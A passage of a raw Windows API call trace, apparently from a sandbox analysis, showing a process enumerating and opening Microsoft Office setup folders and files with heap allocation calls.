BaseAddress=0xf9dfa8) returned 1 [0055.214] NtClose (Handle=0x18c) returned 0x0 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.214] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.214] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.214] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95f60 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99900 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x540) returned 0xf870d0 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf98570) returned 1 [0055.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.214] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95f80 [0055.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99a08 [0055.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.215] GetLastError () returned 0x12 [0055.215] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.215] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.215] GetLastError () returned 0x12 [0055.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.215] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0055.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.215] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.238] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.238] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.238] NtClose (Handle=0x188) returned 0x0 [0055.238] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.239] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95fa0 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99b10 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95fc0 [0055.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99c18 [0055.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.239] GetLastError () returned 0x12 [0055.239] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.240] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.240] GetLastError () returned 0x12 [0055.240] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.240] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.240] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.240] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0055.240] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.240] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0055.254] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.254] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.255] NtClose (Handle=0x18c) returned 0x0 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.255] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.255] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95fe0 [0055.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99d20 [0055.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.255] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0055.255] GetLastError () returned 0x12 [0055.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.255] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, 